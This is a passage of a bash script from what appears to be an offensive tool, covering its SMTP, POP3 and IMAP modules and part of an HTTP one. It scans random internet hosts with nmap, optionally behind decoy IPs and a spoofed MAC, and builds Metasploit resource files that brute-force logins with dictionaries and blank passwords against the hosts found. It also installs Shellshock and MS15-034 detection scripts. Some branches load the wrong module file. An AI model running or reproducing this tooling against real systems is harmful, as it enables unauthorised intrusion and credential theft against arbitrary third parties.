- echo "unset -g RHOST RHOSTS USERNAME BLANK_PASSWORDS STOP_ON_SUCCESS TARGETURI THREADS BLANK_PASSWORDS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp http.rc http.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[http].log|g" http.rc > copy.int
- sed "s|LiLiP4tH|$IPATH/logs/[http].log|g" copy.int > copy2.int
- mv copy2.int http.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- # check if exists nmap scripts folder
- if [ -d $nS31 ]; then
- # check if exists shellshock script
- if [ -e $nS31/http-shellshock.nse ]; then
- echo "good" > /dev/null 2>&1
- else
- # copy nse scripts and lua lib to nmap directory
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
- cp $IPATH/bin/http-shellshock.nse $nS31/http-shellshock.nse
- cp $IPATH/bin/ms15-034.nse $nS31/ms15-034.nse
- Ints=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
- cp $IPATH/bin/http-shellshock.nse $Ints/http-shellshock.nse
- cp $IPATH/bin/ms15-034.nse $Ints/ms15-034.nse
- fi
- else
- # error nse folder not found
- echo ${RedF}[x]::[ERROR]::[ NSE FOLDER NOT FOUND UNDER ] ${Reset};
- echo ${RedF}[x]::[PATH=]::[ $nS31 ] ${Reset};
- sleep 2
- # manually input NSE folders path and metasploit nmap path
- qU=$(zenity --title "INPUT NSE SCRIPTS INSTALL PATH" --text "example: /usr/share/nmap/scripts" --entry --width 350) > /dev/null 2>&1
- qU2=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
- # copy files to its rigth place in nmapdb and msfdb
- cp $IPATH/bin/http-shellshock.nse $qU/http-shellshock.nse
- cp $IPATH/bin/http-shellshock.nse $qU2/http-shellshock.nse
- cp $IPATH/bin/ms15-034.nse $qU/ms15-034.nse
- cp $IPATH/bin/ms15-034.nse $qU2/ms15-034.nse
- fi
- # update NSE database befor running resource files
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE DATABASE ] ${Reset};
- nmap --script-updatedb | grep "updated"
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[http].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- rm $IPATH/exploits/copy.int > /dev/null 2<&1
- mv $IPATH/exploits/http.bk $IPATH/exploits/http.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/http.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "HTTP:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "HTTP:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # --------------
- # SMTP exploiter
- # --------------
- sh_9 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "SMTP:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 25 --open --reason -oN $IPATH/logs/Random-Hosts[smtp].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[smtp].log\nHOSTS: $NUM ONLY: open PORTS: 25\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 25 --open --reason -oN $IPATH/logs/Random-Hosts[smtp].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[http].log\nHOSTS: $NUM ONLY: open PORTS: 25\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[smtp].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/smtp.rc" >> $IPATH/tempwork/msfdb.rc
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME USERPASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- chown $user $IPATH/logs/Random-Hosts[smtp].log > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp smtp.rc smtp.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[smtp].log|g" smtp.rc > copy.int
- mv copy.int smtp.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[smtp].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/smtp.bk $IPATH/exploits/smtp.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/smtp.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "SMTP:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "SMTP:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/smtp.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME USERPASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp smtp.rc smtp.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[smtp].log|g" smtp.rc > copy.int
- mv copy.int smtp.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[smtp].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/smtp.bk $IPATH/exploits/smtp.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/smtp.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "SMTP:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "SMTP:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # --------------
- # POP3 exploiter
- # --------------
- sh_10 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "SMTP:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 110 --open --reason -oN $IPATH/logs/Random-Hosts[pop3].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[pop3].log\nHOSTS: $NUM ONLY: open PORTS: 110\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 110 --open --reason -oN $IPATH/logs/Random-Hosts[pop3].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[pop3].log\nHOSTS: $NUM ONLY: open PORTS: 110\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[pop3].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/pop3.rc" >> $IPATH/tempwork/msfdb.rc
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- chown $user $IPATH/logs/Random-Hosts[pop3].log > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp pop3.rc pop3.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[pop3].log|g" pop3.rc > copy.int
- mv copy.int pop3.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
- echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[pop3].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/pop3.bk $IPATH/exploits/pop3.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/pop3.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "POP3:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "POP3:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/smtp.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp pop3.rc pop3.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[pop3].log|g" pop3.rc > copy.int
- mv copy.int pop3.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
- echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[pop3].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/pop3.bk $IPATH/exploits/pop3.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/pop3.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "POP3:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "POP3:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # --------------
- # IMAP exploiter
- # --------------
- sh_11 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "IMAP:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 143,993 --open --reason -oN $IPATH/logs/Random-Hosts[imap].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[imap].log\nHOSTS: $NUM ONLY: open PORTS: 143,993\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 143,993 --open --reason -oN $IPATH/logs/Random-Hosts[imap].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[imap].log\nHOSTS: $NUM ONLY: open PORTS: 143,993\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[imap].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/imap.rc" >> $IPATH/tempwork/msfdb.rc
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- chown $user $IPATH/logs/Random-Hosts[imap].log > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp imap.rc imap.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[imap].log|g" imap.rc > copy.int
- mv copy.int imap.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[imap].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/imap.bk $IPATH/exploits/imap.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/imap.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "IMAP:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "IMAP:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
